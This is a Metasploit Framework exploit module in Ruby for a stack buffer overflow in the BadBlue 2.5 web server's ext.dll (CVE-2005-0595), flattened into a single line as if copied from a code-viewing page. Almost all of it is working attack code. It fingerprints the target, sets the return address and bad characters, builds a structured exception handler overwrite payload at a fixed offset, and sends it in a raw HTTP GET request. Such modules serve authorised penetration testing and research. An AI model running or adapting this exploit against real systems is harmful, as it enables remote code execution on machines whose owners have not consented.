|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81  |  ## # $Id: badblue_ext_overflow.rb 9719 2010-07-07 17:38:59Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = GreatRanking  # NOTE: BadBlue doesn't give any HTTP headers when requesting '/'.  # However, a proper Server header is returned when requesting /index.html or using HEAD.  HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] }  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::Seh  def initialize(info = {})  super(update_info(info,  'Name' => 'BadBlue 2.5 EXT.dll Buffer Overflow',  'Description'=> %q{  This is a stack buffer overflow exploit for BadBlue version 2.5.  },  'Author' => 'acaro <acaro [at] jervus.it>',  'License'=> BSD_LICENSE,  'Version'=> '$Revision: 9719 $',  'References' =>  [  [ 'CVE', '2005-0595' ],  [ 'OSVDB', '14238' ],  [ 'BID', '7387' ],  ],  'DefaultOptions' =>  {  'EXITFUNC' => 'process',  },  'Privileged' => true,  'Payload'=>  {  'Space'=> 500,  'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",  'StackAdjustment' => -3500,  },  'Platform' => 'win',  'Targets'=>  [  ['BadBlue 2.5 (Universal)', { 'Ret' => 0x1003d9da }],  ],  'DisclosureDate' => 'Apr 20 2003',  'DefaultTarget'=> 0))  end  def check  info = http_fingerprint# check method  if (info =~ /BadBlue\/2\.5/)  return Exploit::CheckCode::Vulnerable  end  Exploit::CheckCode::Safe  end  def exploit  uri = "GET /ext.dll?mfcisapicommand="  sploit= rand_text_alphanumeric(500)  seh = generate_seh_payload(target.ret)  sploit[492, seh.length] = seh  uri << sploit  print_status("Trying target #{target.name}...")  send_request_raw({ 'uri' => uri })  handler  end end  |